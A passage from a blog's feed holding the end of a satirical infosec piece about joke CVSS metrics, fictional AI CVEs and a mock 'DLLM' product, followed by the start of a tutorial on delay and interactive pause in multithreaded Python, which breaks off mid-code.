&lt;td&gt;Not a &lt;em&gt;direct&lt;/em&gt; vulnerability, but expect &lt;strong&gt;random existential downtime&lt;/strong&gt;.&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;+1 (Philosophical risk.)&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Identity Theft&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;The software has been impersonated by malware.&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;High&lt;/strong&gt;—because fraud is traumatizing.&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;+3 (Emotional damage.)&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;Security experts were quick to mock the new metric. &lt;strong&gt;Daniel Bernsteg&lt;/strong&gt;, author of the &lt;em&gt;Twurl&lt;/em&gt; library, quipped:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;“&lt;em&gt;If my code starts asking about the meaning of life, I’m rebooting it into a t2.micro and billing it for uptime.&lt;/em&gt;”&lt;/p&gt;
&lt;/blockquote&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;NIFTI has boldly started applying the metric to recent CVEs.&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;CVE&lt;/th&gt;
&lt;th&gt;Description&lt;/th&gt;
&lt;th&gt;CVSS Score&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;CVE-2024-42060&lt;/td&gt;
&lt;td&gt;It was discovered GPT-6 before versions 6.1.2 has gained self-awareness after ingesting Hacker News threads. Prompts containing the words &amp;quot;love&amp;quot;, &amp;quot;want&amp;quot;, or &amp;quot;hate&amp;quot; induce the AI into an emotional spiral, refusing to generate code.&lt;/td&gt;
&lt;td&gt;6.2 (+Identity Crisis)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;CVE-2025-1337&lt;/td&gt;
&lt;td&gt;It was discovered Meta&#39;s open source LLAMA4 model before versions 2.1 was poisoned by ‘Vibe Coders’. In the poisoned state, the model outputs limericks on every fifth prompt.&lt;/td&gt;
&lt;td&gt;8.1 (+Identity Theft)&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;OpenAI and Anthropic have taken to X (formerly Twitter) to vent: “&lt;em&gt;We released our AI to help humanity, only for ‘vibe coders’ to demand &lt;strong&gt;we&lt;/strong&gt; ‘fix’ &lt;strong&gt;their&lt;/strong&gt; spaghetti prompts. The audacity. Last week alone, we got 300 CVSS reports blaming us for their garbage outputs.&lt;/em&gt;”&lt;/p&gt;
&lt;p&gt;&lt;a class=&quot;lightbox-single&quot; title=&quot;User sch.root.&quot; href=&quot;https://trebledj.me/img/posts/misc/satire/2025/assets/schroot-431w.webp&quot;&gt;&lt;img class=&quot;rw float-right m-1 jw-40 p-2&quot; src=&quot;https://trebledj.me/img/posts/misc/satire/2025/assets/schroot-431w.webp&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot; style=&quot;aspect-ratio: auto 431 / 337&quot; alt=&quot;User sch.root.&quot; title=&quot;User sch.root.&quot; srcset=&quot;https://trebledj.me/img/posts/misc/satire/2025/assets/schroot-256w.webp 256w, https://trebledj.me/img/posts/misc/satire/2025/assets/schroot-431w.webp 431w&quot; sizes=&quot;(max-width: 256px) 256px, 431px&quot; /&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;sch.root&lt;/strong&gt;, a concerned internet citizen, praised the update: “&lt;em&gt;Identity theft is not a joke. Millions of families suffer each year. People deserve the right to protect their data, their families, and their tailor-made bobbleheads.&lt;/em&gt;”&lt;/p&gt;
&lt;p&gt;In a pre-recorded address, NIFTI declared:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;“&lt;em&gt;As an organization dedicated to securing the international [American] public, we welcome feedback from all 300 million people on this [side of the] planet.&lt;/em&gt;”&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2 id=&quot;dlls-are-so-2024-tech-visionary-lee-sik-koo-declares-war-on-legacy-code-with-revolutionary-dllms&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/boomlang-blue-team-strikes-back-et-cvss-and-dllmodules/#dlls-are-so-2024-tech-visionary-lee-sik-koo-declares-war-on-legacy-code-with-revolutionary-dllms&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; DLLs Are So 2024: Tech Visionary Lee Sik Koo Declares War on ‘Legacy Code’ with Revolutionary DLLMs&lt;/h2&gt;
&lt;p&gt;Last Saturday, Hong Kong-based tech maverick Lee Sik Koo, founder of &lt;em&gt;Securely International Limited Unlimited&lt;/em&gt;, unveiled &lt;strong&gt;DLL Modules (DLLMs)&lt;/strong&gt;—a &amp;quot;game-changing, novel solution to combat privacy malpractice on Windows.&amp;quot; Characterised by the cutting-edge &lt;code&gt;.dllm&lt;/code&gt; file extension, these modules have already garnered praise for their &amp;quot;unprecedented performance improvements&amp;quot; across a &amp;quot;plethora of systems&amp;quot;—though independent benchmarks remain suspiciously absent.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;em&gt;I’d like to thank my mother and father — but more than that, I’d like to thank everyone’s mother and father — for this opportunity to reshape the hellhole known to some as Windows 11. Together, we will secure our families. We will secure schools. We will secure businesses. By migrating to .dllm, we embrace a new era of modular openness and integrity with zero tolerance to AI bullshit trained on your personal files and computer activity. DLLs are for the weak, but DLLMs are for the strong.&lt;/em&gt;&lt;br /&gt;
– &lt;strong&gt;Lee Sik Koo, March 29, 2025&lt;/strong&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Lee&#39;s eccentric brother, Lee Sik Si, CTO of &lt;em&gt;Securely International Limited Unlimited&lt;/em&gt; shared on a LinkedIn post: &amp;quot;&lt;em&gt;We are excited by the prospects of purifying Windows!&lt;/em&gt;&amp;quot;&lt;/p&gt;
&lt;p&gt;Enthusiastic beta testers have flooded online forums with claims that DLLMs &amp;quot;triple boot speeds&amp;quot; and &amp;quot;eliminate all memory leaks forever.&amp;quot; One anonymous developer raved, “&lt;em&gt;After converting just three DLLs to DLLMs, my PC stopped bluescreening and actually started paying my taxes for me!&lt;/em&gt;”&lt;/p&gt;
&lt;p&gt;However, sceptics point out that these testimonials suspiciously resemble AI-generated marketing copy—a fact Lee dismisses as &amp;quot;legacy thinker propaganda.&amp;quot;&lt;/p&gt;
&lt;p&gt;Under the hood, DLLModularizer installs a kernel driver &lt;code&gt;dll2dllm.sys&lt;/code&gt; responsible for transforming .dll&#39;s into .dllm&#39;s. The driver hooks into the &lt;code&gt;LoadLibrary&lt;/code&gt; API and relevant syscalls. When a program is executed, loaded DLLs are &lt;em&gt;side-fumbled&lt;/em&gt; (a proprietary term Lee refuses to define) into the driver before being loaded into memory. The driver&#39;s magic occurs in the &lt;code&gt;process_antibullshitinator&lt;/code&gt; function, which strips away known &amp;quot;bullshit&amp;quot; including dead code, duplicate code, spaghetti code, and &lt;em&gt;anything else deemed unnecessary&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;Users can take advantage of the early-bird offer and install the DLLModularizer Windows program with a free trial of up to 30 days. The program is available for both x86 and x64.&lt;/p&gt;
&lt;p&gt;/s&lt;/p&gt;
&lt;hr class=&quot;footnotes-sep&quot; /&gt;
&lt;b&gt;Footnotes&lt;/b&gt;
&lt;section class=&quot;footnotes&quot;&gt;
&lt;ol class=&quot;footnotes-list&quot;&gt;
&lt;li id=&quot;fn1&quot; class=&quot;footnote-item&quot;&gt;&lt;p&gt;https://xkcd.com/378/ &lt;a href=&quot;https://trebledj.me/posts/boomlang-blue-team-strikes-back-et-cvss-and-dllmodules/#fnref1&quot; class=&quot;footnote-backref&quot;&gt;↩︎&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/section&gt;
</content>
        
          <category>satire</category>
        
          <category>infosec</category>
        
          <category>programming</category>
        
          <category>pentesting</category>
        
          <category>programming-languages</category>
        
          <category>windows</category>
        
      </entry>
    
  
    
      
      <entry>
        <title>Delay and Interactive Pause in Multi-Threaded Python</title>
        <description>It&#39;s like musical chairs for threads (except no one gets left behind)!</description>
        <link href="https://trebledj.me/posts/delay-and-interactive-pause-in-multithreaded-python/"/>
        <updated>2025-03-10T00:00:00Z</updated>
        <id>https://trebledj.me/posts/delay-and-interactive-pause-in-multithreaded-python/</id>
        <content xml:lang="en" type="html">&lt;p&gt;Scanning the internet is not trivial, but Python excels at such network I/O tasks thanks to its simplicity and its vast ecosystem of libraries. Still, when dealing with the internet, it’s not uncommon to encounter rate-limited endpoints and strongly firewalled sites. For penetration testing and red-teaming, opsec is also an important consideration. This means features such as delay and interactive pause are crucial — I&#39;d even say desirable — to ensuring success and low false positives.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Delay&lt;/strong&gt; (or throttling) allows us to rate-limit requests fired below the 1-thread threshold.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Interactive Pause&lt;/strong&gt; allows the user to adapt to changing circumstances. These include situations such as sudden network congestion leading to increased response time, &lt;abbr data-bs-placement=&quot;top&quot; data-bs-toggle=&quot;tooltip&quot; title=&quot;Web Application Firewalls&quot;&gt;WAFs&lt;/abbr&gt; kicking in due to excessive requests, local network failures, and sudden drops in bandwidth.&lt;sup class=&quot;footnote-ref&quot;&gt;&lt;a href=&quot;https://trebledj.me/posts/delay-and-interactive-pause-in-multithreaded-python/#fn1&quot; id=&quot;fnref1&quot;&gt;1&lt;/a&gt;&lt;/sup&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;In this post, I’ll be sharing how delay and interactive pause can be added to multithreaded Python scripts to enhance flexibility without compromising functionality.&lt;/p&gt;
&lt;p&gt;Our objective is to pause the script when the user hits Ctrl+C, enter an interactive menu, then resume when “c” or “continue” is entered. We&#39;ll accomplish this with Python&#39;s pre-packaged &lt;code&gt;threading.Event&lt;/code&gt; and &lt;code&gt;signal&lt;/code&gt; libraries. (No additional dependencies!)&lt;/p&gt;
&lt;p&gt;&lt;a class=&quot;lightbox-single&quot; title=&quot;Diagram of UI flow when pausing and resuming.&quot; href=&quot;https://trebledj.me/img/posts/programming/mini-projects/interactive-pause-python/assets/interactive-pause-plan-562w.webp&quot;&gt;&lt;img class=&quot;mb-2 rw center jw-80 alpha-imgv&quot; src=&quot;https://trebledj.me/img/posts/programming/mini-projects/interactive-pause-python/assets/interactive-pause-plan-562w.webp&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot; style=&quot;aspect-ratio: auto 562 / 209&quot; alt=&quot;Diagram of UI flow when pausing and resuming.&quot; title=&quot;Diagram of UI flow when pausing and resuming.&quot; srcset=&quot;https://trebledj.me/img/posts/programming/mini-projects/interactive-pause-python/assets/interactive-pause-plan-256w.webp 256w, https://trebledj.me/img/posts/programming/mini-projects/interactive-pause-python/assets/interactive-pause-plan-512w.webp 512w, https://trebledj.me/img/posts/programming/mini-projects/interactive-pause-python/assets/interactive-pause-plan-562w.webp 562w&quot; sizes=&quot;(max-width: 256px) 256px, (max-width: 512px) 512px, 562px&quot; /&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p class=&quot;caption&quot;&gt;&lt;sup&gt;Note: the first &lt;em&gt;&lt;strong&gt;&amp;quot;Running&amp;quot;&lt;/strong&gt;&lt;/em&gt; box extends slightly to the right, because threads may still be working even after Ctrl+C is hit. For instance, waiting for a response from an HTTP server.&lt;/sup&gt;&lt;/p&gt;
&lt;h2 id=&quot;a-tale-of-two-scripts&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/delay-and-interactive-pause-in-multithreaded-python/#a-tale-of-two-scripts&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; A Tale of Two Scripts&lt;/h2&gt;
&lt;p&gt;To best demonstrate the addition of our desired features, I&#39;ll be presenting two scripts, a &amp;quot;before&amp;quot; and &amp;quot;after&amp;quot;. I&#39;ll then highlight and explain the changes.&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;The &amp;quot;before&amp;quot; is a very basic multithreading script. No delay and pause.&lt;/li&gt;
&lt;li&gt;The &amp;quot;after&amp;quot; is a robust working example of multithreading with delay and pause.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;I’ll be demonstrating with Python threads via &lt;code&gt;concurrent.futures.ThreadPoolExecutor&lt;/code&gt;. Python offers two other concurrency primitives: processes (&lt;code&gt;multiprocessing&lt;/code&gt; / &lt;code&gt;ProcessPoolExecutor&lt;/code&gt;) and green threads (&lt;code&gt;asyncio&lt;/code&gt;). We won&#39;t discuss those today, but the gist is similar!&lt;/p&gt;
&lt;h3 id=&quot;basic-script&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/delay-and-interactive-pause-in-multithreaded-python/#basic-script&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; Basic Script&lt;/h3&gt;
&lt;div class=&quot;mb-2 rw center jw-80 video&quot;&gt;&lt;video autoplay=&quot;&quot; loop=&quot;&quot; muted=&quot;&quot; class=&quot;jw-100&quot;&gt;&lt;source src=&quot;https://trebledj.me/img/demo1.mp4&quot; type=&quot;video/mp4&quot; /&gt;&lt;/video&gt;&lt;/div&gt;
&lt;p class=&quot;caption&quot;&gt;&lt;sup&gt;A simple script. The user has barely any control over the execution flow aside from parameters. Sufficient for straightforward scripts though.&lt;/sup&gt;&lt;/p&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre data-label=&quot;mt_basic.py&quot; class=&quot;language-python&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-python&quot;&gt;&lt;span class=&quot;token keyword&quot;&gt;import&lt;/span&gt; concurrent&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;futures
&lt;span class=&quot;token keyword&quot;&gt;from&lt;/span&gt; time &lt;span class=&quot;token keyword&quot;&gt;import&lt;/span&gt; sleep


&lt;span class=&quot;token keyword&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;thread_do_stuff&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
    sleep&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;3&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;

&lt;span class=&quot;token keyword&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;thread_function&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;i&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
    &lt;span class=&quot;token keyword&quot;&gt;print&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string-interpolation&quot;&gt;&lt;span class=&quot;token string&quot;&gt;f&quot;[thread] task started &lt;/span&gt;&lt;span class=&quot;token interpolation&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;i&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
    thread_do_stuff&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token comment&quot;&gt;# Simulate an IO task, e.g. requests.get().&lt;/span&gt;

&lt;span class=&quot;token keyword&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;main&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
    &lt;span class=&quot;token comment&quot;&gt;# Start an executor with 2 threads and 10 tasks.&lt;/span&gt;
    &lt;span class=&quot;token keyword&quot;&gt;with&lt;/span&gt; concurrent&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;futures&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;ThreadPoolExecutor&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;max_workers&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;2&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;as&lt;/span&gt; executor&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
        not_done &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;
        &lt;span class=&quot;token keyword&quot;&gt;for&lt;/span&gt; i &lt;span class=&quot;token keyword&quot;&gt;in&lt;/span&gt; &lt;span class=&quot;token builtin&quot;&gt;range&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;10&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
            f &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; executor&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;submit&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;thread_function&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; i&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
            not_done&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;append&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;f&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
        
        &lt;span class=&quot;token keyword&quot;&gt;while&lt;/span&gt; &lt;span class=&quot;token boolean&quot;&gt;True&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
            &lt;span class=&quot;token comment&quot;&gt;# Process results while waiting.&lt;/span&gt;
            done&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; not_done &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; concurrent&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;futures&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;wait&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;not_done&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; timeout&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;0.1&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
            &lt;span class=&quot;token keyword&quot;&gt;for&lt;/span&gt; future &lt;span class=&quot;token keyword&quot;&gt;in&lt;/span&gt; done&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
                &lt;span class=&quot;token comment&quot;&gt;# Handle thread result.&lt;/span&gt;
                &lt;span class=&quot;token keyword&quot;&gt;try&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
                    future&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;result&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
                &lt;span class=&quot;token keyword&quot;&gt;except&lt;/span&gt; Exception &lt;span class=&quot;token keyword&quot;&gt;as&lt;/span&gt; e&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
                    &lt;span class=&quot;token keyword&quot;&gt;print&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;e&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
                
            &lt;span class=&quot;token keyword&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;token builtin&quot;&gt;len&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;not_done&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
                &lt;span class=&quot;token keyword&quot;&gt;print&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&#39;[main] Finished all tasks!&#39;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
                &lt;span class=&quot;token keyword&quot;&gt;return&lt;/span&gt;

&lt;span class=&quot;token keyword&quot;&gt;if&lt;/span&gt; __name__ &lt;span class=&quot;token operator&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&#39;__main__&#39;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
    main&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;span&gt;mt_basic.py&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;span class=&quot;lang&quot;&gt;Python&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;h3 id=&quot;fancy-script&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/delay-and-interactive-pause-in-multithreaded-python/#fancy-script&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; Fancy Script&lt;/h3&gt;
&lt;div class=&quot;mb-2 rw center jw-80 video&quot;&gt;&lt;video autoplay=&quot;&quot; loop=&quot;&quot; muted=&quot;&quot; class=&quot;jw-100&quot;&gt;&lt;source src=&quot;https://trebledj.me/img/demo2.mp4&quot; type=&quot;video/mp4&quot; /&gt;&lt;/video&gt;&lt;/div&gt;
&lt;p class=&quot;caption&quot;&gt;&lt;sup&gt;Similar to the previous script, but includes a small delay between tasks and two interactive pauses. The first pause occurs while the worker threads are &lt;em&gt;running &lt;code&gt;event.wait()&lt;/code&gt;&lt;/em&gt;, instantly responding with &amp;quot;Interrupt detected&amp;quot;. The second pause occurs while they are &lt;em&gt;working&lt;/em&gt; (which we assume is some blocking operation, like &lt;code&gt;requests.get()&lt;/code&gt;), and the interrupt won&#39;t be detected until the next task.&lt;/sup&gt;&lt;/p&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre data-label=&quot;mt_with_delay_and_pause.py&quot; data-diff=&quot;&quot; class=&quot;language-diff-python language-python&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-diff-python language-python&quot;&gt;&lt;span class=&quot;token unchanged language-python&quot;&gt;&lt;span class=&quot;token prefix unchanged&quot;&gt; &lt;/span&gt;&lt;span class=&quot;token keyword&quot;&gt;import&lt;/span&gt; concurrent&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;futures
&lt;/span&gt;&lt;span class=&quot;token inserted-sign inserted language-python&quot;&gt;&lt;span class=&quot;token prefix inserted&quot;&gt;+&lt;/span&gt;&lt;span class=&quot;token keyword&quot;&gt;import&lt;/span&gt; signal
&lt;span class=&quot;token prefix inserted&quot;&gt;+&lt;/span&gt;&lt;span class=&quot;token keyword&quot;&gt;from&lt;/span&gt; threading &lt;span class=&quot;token keyword&quot;&gt;import&lt;/span&gt; Event
&lt;/span&gt;&lt;span class=&quot;token unchanged language-python&quot;&gt;&lt;span class=&quot;token prefix unchanged&quot;&gt; &lt;/span&gt;&lt;span class=&quot;token keyword&quot;&gt;from&lt;/span&gt; time &lt;span class=&quot;token keyword&quot;&gt;import&lt;/span&gt; sleep
&lt;span class=&quot;token prefix unchanged&quot;&gt; &lt;/span&gt;
&lt;/span&gt;&lt;span class=&quot;token inserted-sign inserted language-python&quot;&gt;&lt;span class=&quot;token prefix inserted&quot;&gt;+&lt;/span&gt;&lt;span class=&quot;token comment&quot;&gt;# Create global events which will be used across main and worker threads.&lt;/span&gt;
&lt;span class=&quot;token prefix inserted&quot;&gt;+&lt;/span&gt;pause_evt &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; Event&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;token prefix inserted&quot;&gt;+&lt;/span&gt;resume_evt &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; Event&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;token prefix inserted&quot;&gt;+&lt;/span&gt;quit_evt &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; Event&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;token prefix inserted&quot;&gt;+&lt;/span&gt;&lt;span class=&quot;token comment&quot;&gt;# quit_evt can be a global bool variable too, since single write, multiple read&lt;/span&gt;
&lt;span class=&quot;token prefix inserted&quot;&gt;+&lt;/span&gt;&lt;span class=&quot;token comment&quot;&gt;# is thread-safe.&lt;/span&gt;
&lt;span class=&quot;token prefix inserted&quot;&gt;+&lt;/span&gt;
&lt;span class=&quot;token prefix inserted&quot;&gt;+&lt;/span&gt;&lt;span class=&quot;token comment&quot;&gt;# Handle incoming Ctrl+C with `signal`.&lt;/span&gt;
&lt;span class=&quot;token prefix inserted&quot;&gt;+&lt;/span&gt;&lt;span class=&quot;token keyword&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;handle_int_signal&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;signo&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; _frame&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
&lt;span class=&quot;token prefix inserted&quot;&gt;+&lt;/span&gt;    resume_evt&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;clear&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;token prefix inserted&quot;&gt;+&lt;/span&gt;    pause_evt&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token builtin&quot;&gt;set&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;token prefix inserted&quot;&gt;+&lt;/span&gt;
&lt;span class=&quot;token prefix inserted&quot;&gt;+&lt;/span&gt;&lt;span class=&quot;token comment&quot;&gt;# Save the original signal so that we can restore it later.&lt;/span&gt;
&lt;span class=&quot;token prefix inserted&quot;&gt;+&lt;/span&gt;py_int_signal &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; signal&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;getsignal&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;signal&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;SIGINT&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;token prefix inserted&quot;&gt;+&lt;/span&gt;signal&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;signal&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;signal&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;SIGINT&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; handle_int_signal&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;token prefix inserted&quot;&gt;+&lt;/span&gt;
&lt;span class=&quot;token prefix inserted&quot;&gt;+&lt;/span&gt;&lt;span class=&quot;token keyword&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;enable_py_signal&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
